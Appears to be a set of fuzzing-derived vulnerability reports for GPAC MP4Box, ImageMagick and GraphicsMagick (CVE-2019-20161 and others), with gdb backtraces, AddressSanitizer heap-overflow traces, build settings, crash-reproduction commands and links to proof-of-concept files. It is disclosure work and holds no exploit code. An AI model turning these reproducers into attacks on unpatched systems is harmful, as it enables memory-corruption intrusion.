54      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff7302428 in \_\_GI\_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff730402a in \_\_GI\_abort () at abort.c:89
#2  0x00007ffff73447ea in \_\_libc\_message (do\_abort=do\_abort@entry=2, fmt=fmt@entry=0x7ffff745ded8 "\*\*\* Error in \`%s': %s: 0x%s \*\*\*\\n") at ../sysdeps/posix/libc\_fatal.c:175
#3  0x00007ffff734d37a in malloc\_printerr (ar\_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff745df50 "free(): invalid next size (fast)", action=3) at malloc.c:5006
#4  \_int\_free (av=<optimized out>, p=<optimized out>, have\_lock=0) at malloc.c:3867
#5  0x00007ffff735153c in \_\_GI\_\_\_libc\_free (mem=<optimized out>) at malloc.c:2968
#6  0x0000000000568b82 in DelGF\_IPMPX\_OpaqueData (\_p=<optimized out>) at odf/ipmpx\_code.c:1205
#7  gf\_ipmpx\_data\_del (\_p=\_p@entry=0x9cc760) at odf/ipmpx\_code.c:1835
#8  0x00000000005624bd in gf\_odf\_del\_ipmp (ipmp=0x9cc670) at odf/odf\_code.c:2390
#9  0x000000000055a031 in gf\_odf\_parse\_descriptor (bs=bs@entry=0x9cc610, desc=desc@entry=0x9cc578, desc\_size=desc\_size@entry=0x7fffffff9694) at odf/descriptors.c:176
#10 0x0000000000564f7b in gf\_odf\_desc\_read (raw\_desc=raw\_desc@entry=0x9cc590 "\\v@\\377\\377\\377\\377", descSize=descSize@entry=108, outDesc=outDesc@entry=0x9cc578) at odf/odf\_codec.c:302
#11 0x00000000006ca6f4 in esds\_Read (s=0x9cc550, bs=0x9cb460) at isomedia/box\_code\_base.c:1256
#12 0x00000000005137e1 in gf\_isom\_box\_read (bs=0x9cb460, a=0x9cc550) at isomedia/box\_funcs.c:1528
#13 gf\_isom\_box\_parse\_ex (outBox=outBox@entry=0x7fffffff9800, bs=bs@entry=0x9cb460, is\_root\_box=is\_root\_box@entry=GF\_TRUE, parent\_type=0) at isomedia/box\_funcs.c:208
#14 0x0000000000513e15 in gf\_isom\_parse\_root\_box (outBox=outBox@entry=0x7fffffff9800, bs=0x9cb460, bytesExpected=bytesExpected@entry=0x7fffffff9850, progressive\_mode=progressive\_mode@entry=GF\_FALSE) at isomedia/box\_funcs.c:42
#15 0x000000000051b4fe in gf\_isom\_parse\_movie\_boxes (mov=mov@entry=0x9cb010, bytesMissing=bytesMissing@entry=0x7fffffff9850, progressive\_mode=progressive\_mode@entry=GF\_FALSE) at isomedia/isom\_intern.c:206
#16 0x000000000051c48c in gf\_isom\_parse\_movie\_boxes (progressive\_mode=GF\_FALSE, bytesMissing=0x7fffffff9850, mov=0x9cb010) at isomedia/isom\_intern.c:194
#17 gf\_isom\_open\_file (fileName=0x7fffffffe627 "./real-crashs/POC-ReadGF\_IPMPX\_WatermarkingInit", OpenMode=0, tmp\_dir=0x0) at isomedia/isom\_intern.c:615
#18 0x000000000041c082 in mp4boxMain (argc=<optimized out>, argv=<optimized out>) at main.c:4767
#19 0x00007ffff72ed830 in \_\_libc\_start\_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe358, init=<optimized out>, fini=<optimized out>, rtld\_fini=<optimized out>, stack\_end=0x7fffffffe348) at ../csu/libc-start.c:291
#20 0x000000000040eba9 in \_start ()

Edit

This bug issue still exists in latest version 0.8.0: 4c19ae5 and 0.9.0: 1de1f8d

Addition: This bug was found with our fuzzer, which is based on AFL. Our fuzzer is developed by Yuanpingyu(cfenicey@gmail.com) 、Yanhao and Marsman1996(lqliuyuwei@outlook.com)

CVE-2019-20161: AddressSanitizer: heap-buffer-overflow in ReadGF_IPMPX_WatermarkingInit at ipmpx_code.c:1517 · Issue #1320 · gpac/gpac

An issue was discovered in GPAC version 0.8.0 and 0.9.0-development-20191109. There is heap-based buffer overflow in the function gf_isom_box_parse_ex() in isomedia/box_funcs.c.

System info:  
Ubuntu 16.04.6 LTS, X64, gcc 5.4.0, gpac (latest master 00dfc93)  
Compile Command:

    $ CC="gcc -fsanitize=address -g" CXX="g++ -fsanitize=address -g" ./configure --static-mp4box
    $ make
    

Run Command:

    $ MP4Box -diso -out /dev/null $POC-new-gf_isom_box_parse_ex
    

POC file:  
https://github.com/Clingto/POC/blob/master/gpac-MP4Box/gpac-00dfc93-crashes/POC-new-gf\_isom\_box\_parse\_ex  
https://github.com/Clingto/POC/blob/master/gpac-MP4Box/gpac-00dfc93-crashes/POC-new-gf\_isom\_box\_parse\_ex-2  
For POC-new-gf\_isom\_box\_parse\_ex  
gdb info:

Program received signal SIGSEGV, Segmentation fault.
\_\_GI\_\_\_libc\_free (mem=0x6a06e81bf20d02) at malloc.c:2951
2951    malloc.c: No such file or directory.
(gdb) bt
#0  \_\_GI\_\_\_libc\_free (mem=0x6a06e81bf20d02) at malloc.c:2951
#1  0x00000000006d4ab7 in reftype\_del ()
#2  0x0000000000512a7d in gf\_isom\_box\_del ()
#3  0x00000000005135fe in gf\_isom\_box\_array\_read\_ex ()
#4  0x00000000005137e1 in gf\_isom\_box\_parse\_ex.constprop ()
#5  0x0000000000513e15 in gf\_isom\_parse\_root\_box ()
#6  0x000000000051b4fe in gf\_isom\_parse\_movie\_boxes.part ()
#7  0x000000000051c48c in gf\_isom\_open\_file ()
#8  0x000000000041c082 in mp4boxMain ()
#9  0x00007ffff72ed830 in \_\_libc\_start\_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld\_fini=<optimized out>, stack\_end=0x7fffffffe308) at ../csu/libc-start.c:291
#10 0x000000000040eba9 in \_start ()

For POC-new-gf\_isom\_box\_parse\_ex-2  
gdb info:

Program received signal SIGSEGV, Segmentation fault.
\_\_GI\_\_\_libc\_free (mem=0x1c1c1c1c1c1c1c1c) at malloc.c:2951
2951    malloc.c: No such file or directory.
(gdb) bt
#0  \_\_GI\_\_\_libc\_free (mem=0x1c1c1c1c1c1c1c1c) at malloc.c:2951
#1  0x00000000006d4ab7 in reftype\_del ()
#2  0x0000000000512a7d in gf\_isom\_box\_del ()
#3  0x00000000005135fe in gf\_isom\_box\_array\_read\_ex ()
#4  0x00000000005137e1 in gf\_isom\_box\_parse\_ex.constprop ()
#5  0x0000000000513e15 in gf\_isom\_parse\_root\_box ()
#6  0x000000000051b4fe in gf\_isom\_parse\_movie\_boxes.part ()
#7  0x000000000051c48c in gf\_isom\_open\_file ()
#8  0x000000000041c082 in mp4boxMain ()
#9  0x00007ffff72ed830 in \_\_libc\_start\_main (main=0x40eb70 <main>, argc=5, argv=0x7fffffffe318, init=<optimized out>, fini=<optimized out>, rtld\_fini=<optimized out>, stack\_end=0x7fffffffe308) at ../csu/libc-start.c:291
#10 0x000000000040eba9 in \_start ()

For POC-new-gf\_isom\_box\_parse\_ex  
ASAN info:

\==25783\==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000df80 at pc 0x0000006c4392 bp 0x7fffffff8090 sp 0x7fffffff8080
WRITE of size 4 at 0x60400000df80 thread T0
    #0 0x6c4391 in gf\_isom\_box\_parse\_ex isomedia/box\_funcs.c:189
    #1 0x6c47bc in gf\_isom\_box\_array\_read\_ex isomedia/box\_funcs.c:1419
    #2 0x6c5114 in gf\_isom\_box\_read isomedia/box\_funcs.c:1528
    #3 0x6c5114 in gf\_isom\_box\_parse\_ex isomedia/box\_funcs.c:208
    #4 0x6c5974 in gf\_isom\_parse\_root\_box isomedia/box\_funcs.c:42
    #5 0x6da6a0 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:206
    #6 0x6dd2f3 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:194
    #7 0x6dd2f3 in gf\_isom\_open\_file isomedia/isom\_intern.c:615
    #8 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build\_asan\_00dfc93/applications/mp4box/main.c:4767
    #9 0x7ffff638082f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x41e228 in \_start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin\_asan/bin/MP4Box+0x41e228)

0x60400000df80 is located 0 bytes to the right of 48-byte region \[0x60400000df50,0x60400000df80)
allocated by thread T0 here:
    #0 0x7ffff6f02602 in malloc (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x98602)
    #1 0xaec17d in reftype\_New isomedia/box\_code\_base.c:7521

SUMMARY: AddressSanitizer: heap-buffer-overflow isomedia/box\_funcs.c:189 gf\_isom\_box\_parse\_ex
Shadow bytes around the buggy address:
  0x0c087fff9ba0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9be0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00
=>0x0c087fff9bf0:\[fa\]fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
  0x0c087fff9c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==25783==ABORTING

For POC-new-gf\_isom\_box\_parse\_ex-2

ASAN info：  
==25917\==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000e000 at pc 0x0000006c4392 bp 0x7fffffff8090 sp 0x7fffffff8080
WRITE of size 4 at 0x60400000e000 thread T0
    #0 0x6c4391 in gf\_isom\_box\_parse\_ex isomedia/box\_funcs.c:189
    #1 0x6c47bc in gf\_isom\_box\_array\_read\_ex isomedia/box\_funcs.c:1419
    #2 0x6c5114 in gf\_isom\_box\_read isomedia/box\_funcs.c:1528
    #3 0x6c5114 in gf\_isom\_box\_parse\_ex isomedia/box\_funcs.c:208
    #4 0x6c5974 in gf\_isom\_parse\_root\_box isomedia/box\_funcs.c:42
    #5 0x6da6a0 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:206
    #6 0x6dd2f3 in gf\_isom\_parse\_movie\_boxes isomedia/isom\_intern.c:194
    #7 0x6dd2f3 in gf\_isom\_open\_file isomedia/isom\_intern.c:615
    #8 0x42f88a in mp4boxMain /home/aota09/yyp/fuzzcompare/test/gpac/test-crash/build\_asan\_00dfc93/applications/mp4box/main.c:4767
    #9 0x7ffff638082f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x41e228 in \_start (/home/aota09/yyp/fuzzcompare/test/gpac/test-crash/bin\_asan/bin/MP4Box+0x41e228)

0x60400000e000 is located 0 bytes to the right of 48-byte region \[0x60400000dfd0,0x60400000e000)
allocated by thread T0 here:
    #0 0x7ffff6f02602 in malloc (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x98602)
    #1 0xaec17d in reftype\_New isomedia/box\_code\_base.c:7521

SUMMARY: AddressSanitizer: heap-buffer-overflow isomedia/box\_funcs.c:189 gf\_isom\_box\_parse\_ex
Shadow bytes around the buggy address:
  0x0c087fff9bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9bf0: fa fa fa fa fa fa fa fa fa fa 00 00 00 00 00 00
=>0x0c087fff9c00:\[fa\]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c087fff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==25917==ABORTING

Edit

**This bug issue still exists in latest version 0.8.0: 4c19ae5 and 0.9.0: 1de1f8d**

Addition: This bug was found with our fuzzer, which is based on AFL. Our fuzzer is developed by Yuanpingyu(cfenicey@gmail.com) 、Yanhao and Marsman1996(lqliuyuwei@outlook.com)

CVE-2019-20162: ERROR: AddressSanitizer: heap-buffer-overflow in gf_isom_box_parse_ex isomedia/box_funcs.c:189 · Issue #1327 · gpac/gpac

In ImageMagick 7.0.8-43 Q16, there is a heap-based buffer overflow in the function WriteSGIImage of coders/sgi.c.

**Prerequisites**

*   I have written a descriptive issue title
*   I have verified that I am using the latest version of ImageMagick
*   I have searched open and closed issues to ensure it has not already been reported

**Description**

There is a heap buffer overflow vulnerability in function WriteSGIImage of coders/sgi.c.

**Steps to Reproduce**

poc  
magick convert $poc ./test.sgi  
=================================================================  
==41720==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f70c67db7f8 at pc 0x0000006c216f bp 0x7ffea64ddb50 sp 0x7ffea64ddb40  
WRITE of size 1 at 0x7f70c67db7f8 thread T0  
    #0 0x6c216e in WriteSGIImage coders/sgi.c:1051  
    #1 0x849036 in WriteImage MagickCore/constitute.c:1159  
    #2 0x849d5b in WriteImages MagickCore/constitute.c:1376  
    #3 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305  
    #4 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185  
    #5 0x4100a1 in MagickMain utilities/magick.c:149  
    #6 0x410282 in main utilities/magick.c:180  
    #7 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)  
    #8 0x40fbb8 in _start (/home/test/temp/ImageMagick/utilities/magick+0x40fbb8)

0x7f70c67db7f8 is located 8 bytes to the left of 524288-byte region [0x7f70c67db800,0x7f70c685b800)  
allocated by thread T0 here:  
    #0 0x7f70c5868076 in __interceptor_posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99076)  
    #1 0x4408c7 in AcquireAlignedMemory MagickCore/memory.c:265  
    #2 0x440beb in AcquireVirtualMemory MagickCore/memory.c:621  
    #3 0x6c1ead in WriteSGIImage coders/sgi.c:1030  
    #4 0x849036 in WriteImage MagickCore/constitute.c:1159  
    #5 0x849d5b in WriteImages MagickCore/constitute.c:1376  
    #6 0xbf16d0 in ConvertImageCommand MagickWand/convert.c:3305  
    #7 0xcdf180 in MagickCommandGenesis MagickWand/mogrify.c:185  
    #8 0x4100a1 in MagickMain utilities/magick.c:149  
    #9 0x410282 in main utilities/magick.c:180  
    #10 0x7f70c10c882f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow coders/sgi.c:1051 WriteSGIImage  
Shadow bytes around the buggy address:  
  0x0fee98cf36a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0fee98cf36b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0fee98cf36c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0fee98cf36d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
  0x0fee98cf36e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa  
=>0x0fee98cf36f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]  
  0x0fee98cf3700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0fee98cf3710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0fee98cf3720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0fee98cf3730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
  0x0fee98cf3740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
Shadow byte legend (one shadow byte represents 8 application bytes):  
  Addressable:           00  
 Partially addressable: 01 02 03 04 05 06 07  
  Heap left redzone:       fa  
  Heap right redzone:      fb  
  Freed heap region:       fd  
  Stack left redzone:      f1  
  Stack mid redzone:       f2  
  Stack right redzone:     f3  
  Stack partial redzone:   f4  
  Stack after return:      f5  
  Stack use after scope:   f8  
  Global redzone:          f9  
  Global init order:       f6  
  Poisoned by user:        f7  
  Container overflow:      fc  
  Array cookie:            ac  
  Intra object redzone:    bb  
  ASan internal:           fe  
==41720==ABORTING

**System Configuration**

*   ImageMagick version:  
    Version: ImageMagick 7.0.8-43 Q16 x86_64 2019-04-29 https://imagemagick.org  
    Copyright: ? 1999-2019 ImageMagick Studio LLC  
    License: https://imagemagick.org/script/license.php  
    Features: Cipher DPC HDRI OpenMP(4.0)   
    Delegates (built-in): bzlib djvu fftw fontconfig freetype jbig jng jpeg lcms lqr lzma openexr pangocairo png tiff wmf x xml zlib
*   Environment (Operating system, version and so on):  
    Distributor ID:	Ubuntu  
    Description:	Ubuntu 16.04.1 LTS  
    Release:	16.04  
    Codename:	xenial
*   Additional information:

CVE-2019-19948: heap-buffer-overflow in WriteSGIImage of coders/sgi.c · Issue #1562 · ImageMagick/ImageMagick

In GraphicsMagick 1.4 snapshot-20190423 Q8, there is a heap-based buffer overflow in the function ImportRLEPixels of coders/miff.c.

There is a heap-buffer-overflow in function ImportRLEPixels of coders/miff.c whick can be reproduced as below.  
gm convert ./heap-buffer-overflow\_ImportRLEPixels /dev/null

\=================================================================
==27431==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000fed1 at pc 0x00000071ab86 bp 0x7ffcc60ecb20 sp 0x7ffcc60ecb10
WRITE of size 1 at 0x61500000fed1 thread T0
    #0 0x71ab85 in ImportRLEPixels coders/miff.c:428
    #1 0x729d09 in ReadMIFFImage coders/miff.c:1850
    #2 0x477730 in ReadImage magick/constitute.c:1607
    #3 0x421598 in ConvertImageCommand magick/command.c:4365
    #4 0x436b0d in MagickCommand magick/command.c:8889
    #5 0x45f2ca in GMCommandSingle magick/command.c:17434
    #6 0x45f516 in GMCommand magick/command.c:17487
    #7 0x40cc65 in main utilities/gm.c:61
    #8 0x7f5e4f4fe82f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)
    #9 0x40cb78 in \_start (/home/graphicsmagick-code/utilities/gm+0x40cb78)

0x61500000fed1 is located 0 bytes to the right of 465-byte region \[0x61500000fd00,0x61500000fed1)
allocated by thread T0 here:
    #0 0x7f5e5228b602 in malloc (/usr/lib/x86\_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x4df677 in MagickRealloc magick/memory.c:494
    #2 0x501826 in OpenCache magick/pixel\_cache.c:2497
    #3 0x507f01 in ModifyCache magick/pixel\_cache.c:4584
    #4 0x4fb19e in SetCacheNexus magick/pixel\_cache.c:922
    #5 0x508d90 in SetCacheViewPixels magick/pixel\_cache.c:4881
    #6 0x508e6a in SetImagePixels magick/pixel\_cache.c:4947
    #7 0x7298da in ReadMIFFImage coders/miff.c:1831
    #8 0x477730 in ReadImage magick/constitute.c:1607
    #9 0x421598 in ConvertImageCommand magick/command.c:4365
    #10 0x436b0d in MagickCommand magick/command.c:8889
    #11 0x45f2ca in GMCommandSingle magick/command.c:17434
    #12 0x45f516 in GMCommand magick/command.c:17487
    #13 0x40cc65 in main utilities/gm.c:61
    #14 0x7f5e4f4fe82f in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow coders/miff.c:428 ImportRLEPixels
Shadow bytes around the buggy address:
  0x0c2a7fff9f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fff9f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fff9fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff9fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2a7fff9fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff9fd0: 00 00 00 00 00 00 00 00 00 00\[01\]fa fa fa fa fa
  0x0c2a7fff9fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fffa000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fffa010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2a7fffa020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==27431==ABORTING

System Configuration:

Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:    16.04
Codename:   xenial

GraphicsMagick version:

GraphicsMagick 1.4 snapshot-20190423 Q8 http://www.GraphicsMagick.org/
Copyright (C) 2002-2019 GraphicsMagick Group.
Additional copyrights and licenses apply to this software.
See http://www.GraphicsMagick.org/www/Copyright.html for details.

Feature Support:
  Native Thread Safe       yes
  Large Files (> 32 bit)   yes
  Large Memory (> 32 bit)  yes
  BZIP                     yes
  DPS                      no
  FlashPix                 no
  FreeType                 yes
  Ghostscript (Library)    no
  JBIG                     yes
  JPEG-2000                yes
  JPEG                     yes
  Little CMS               yes
  Loadable Modules         no
  Solaris mtmalloc         no
  OpenMP                   yes (201307 "4.0")
  PNG                      yes
  TIFF                     yes
  TRIO                     no
  Solaris umem             no
  WebP                     yes
  WMF                      yes
  X11                      yes
  XML                      yes
  ZLIB                     yes

Host type: x86\_64-pc-linux-gnu

Configured using the command:
  ./configure  'CC=gcc' 'CXX=g++' 'CFLAGS=-g -fsanitize=address -fno-omit-frame-pointer -fsanitize=leak' '--enable-shared=no'

Final Build Parameters:
  CC       = gcc
  CFLAGS   = -fopenmp -g -fsanitize=address -fno-omit-frame-pointer -fsanitize=leak -Wall -pthread
  CPPFLAGS = -I/usr/include/freetype2 -I/usr/include/libxml2
  CXX      = g++
  CXXFLAGS = -pthread
  LDFLAGS  = 
  LIBS     = -ljbig -lwebp -lwebpmux -llcms2 -ltiff -lfreetype -ljasper -ljpeg -lpng12 -lwmflite -lXext -lSM -lICE -lX11 -llzma -lbz2 -lxml2 -lz -lm -lpthread

CVE-2019-19951: GraphicsMagick / Bugs / #608 heap-buffer-overflow in ImportRLEPixels of coders/miff.c

In GraphicsMagick 1.4 snapshot-20191208 Q8, there is a heap-based buffer over-read in the function EncodeImage of coders/pict.c.

There is a heap buffer overflow in function EncodeImage of coders/pict.c whick can be reproduced as below.

/home/graphicsmagick/utilities/gm convert ./heap\-buffer\-overflow\-READ\-0x08417e7a.webp ./test.pct
\==9938\==ERROR: AddressSanitizer: heap\-buffer\-overflow on address 0xf12147ff at pc 0x08417e7a bp 0xffa81578 sp 0xffa81568
READ of size 1 at 0xf12147ff thread T0
    #0 0x8417e79 in EncodeImage coders/pict.c:1067
    #1 0x8421228 in WritePICTImage coders/pict.c:2408
    #2 0x80c6919 in WriteImage magick/constitute.c:2245
    #3 0x80c728f in WriteImages magick/constitute.c:2404
    #4 0x8072623 in ConvertImageCommand magick/command.c:6135
    #5 0x807ea51 in MagickCommand magick/command.c:8880
    #6 0x80ab9c2 in GMCommandSingle magick/command.c:17412
    #7 0x80abc86 in GMCommand magick/command.c:17465
    #8 0x80511ea in main utilities/gm.c:61
    #9 0xf697c636 in \_\_libc\_start\_main (/lib/i386\-linux\-gnu/libc.so.6+0x18636)
    #10 0x80510f0  (/home/graphicsmagick/utilities/gm+0x80510f0)

0xf12147ff is located 1 bytes to the left of 65536\-byte region \[0xf1214800,0xf1224800)
allocated by thread T0 here:
    #0 0xf72bbdee in malloc (/usr/lib/i386\-linux\-gnu/libasan.so.2+0x96dee)
    #1 0x8132492 in MagickMalloc magick/memory.c:174
    #2 0x841f32a in WritePICTImage coders/pict.c:2126
    #3 0x80c6919 in WriteImage magick/constitute.c:2245
    #4 0x80c728f in WriteImages magick/constitute.c:2404
    #5 0x8072623 in ConvertImageCommand magick/command.c:6135
    #6 0x807ea51 in MagickCommand magick/command.c:8880
    #7 0x80ab9c2 in GMCommandSingle magick/command.c:17412
    #8 0x80abc86 in GMCommand magick/command.c:17465
    #9 0x80511ea in main utilities/gm.c:61
    #10 0xf697c636 in \_\_libc\_start\_main (/lib/i386\-linux\-gnu/libc.so.6+0x18636)

SUMMARY: AddressSanitizer: heap\-buffer\-overflow coders/pict.c:1067 EncodeImage
Shadow bytes around the buggy address:
  0x3e2428a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e2428b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e2428c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e2428d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x3e2428e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
\=>0x3e2428f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\[fa\]
  0x3e242900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e242910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e242920: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e242930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x3e242940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
\==9938\==ABORTING

System Configuration:

Distributor ID: Ubuntu
Description:    Ubuntu 16.04.5 LTS
Release:    16.04
Codename:   xenial

GraphicsMagick version:

GraphicsMagick 1.4 snapshot\-20191208 Q8 http://www.GraphicsMagick.org/
Copyright (C) 2002\-2019 GraphicsMagick Group.
Additional copyrights and licenses apply to this software.
See http://www.GraphicsMagick.org/www/Copyright.html for details.

Feature Support:
  Native Thread Safe       yes
  Large Files (\> 32 bit)   yes
  Large Memory (\> 32 bit)  no
  BZIP                     yes
  DPS                      no
  FlashPix                 no
  FreeType                 yes
  Ghostscript (Library)    no
  JBIG                     yes
  JPEG\-2000                yes
  JPEG                     yes
  Little CMS               yes
  Loadable Modules         no
  Solaris mtmalloc         no
  OpenMP                   yes (201307 "4.0")
  PNG                      yes
  TIFF                     yes
  TRIO                     no
  Solaris umem             no
  WebP                     yes
  WMF                      yes
  X11                      yes
  XML                      yes
  ZLIB                     yes

Host type: x86\_64\-pc\-linux\-gnu

Configured using the command:
  ./configure  'CFLAGS=-g -fsanitize=address' '\--enable-shared=no'

Final Build Parameters:
  CC       \= gcc
  CFLAGS   \= \-fopenmp \-g \-fsanitize\=address \-Wall \-pthread
  CPPFLAGS \= \-I/usr/include/freetype2 \-I/usr/include/libxml2
  CXX      \= g++
  CXXFLAGS \= \-pthread
  LDFLAGS  \= 
  LIBS     \= \-ljbig \-lwebp \-lwebpmux \-llcms2 \-ltiff \-lfreetype \-ljasper \-ljpeg \-lpng12 \-lwmflite \-lXext \-lSM \-lICE \-lX11 \-llzma \-lbz2 \-lxml2 \-lz \-lm \-lpthread

CVE-2019-19953: GraphicsMagick / Bugs / #617 heap-buffer-overflow in function EncodeImage of coders/pict.c

